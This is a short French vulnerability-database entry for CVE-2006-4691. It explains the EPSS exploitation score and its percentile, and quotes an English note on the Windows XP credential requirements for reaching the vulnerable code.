CVE-2006-4691 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

It may be possible to satisfy this condition by using a custom dns and ldap setup, however that method is not covered here. Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator credentials are required to reach the vulnerable code. Windows XP SP1 only requires valid user credentials.
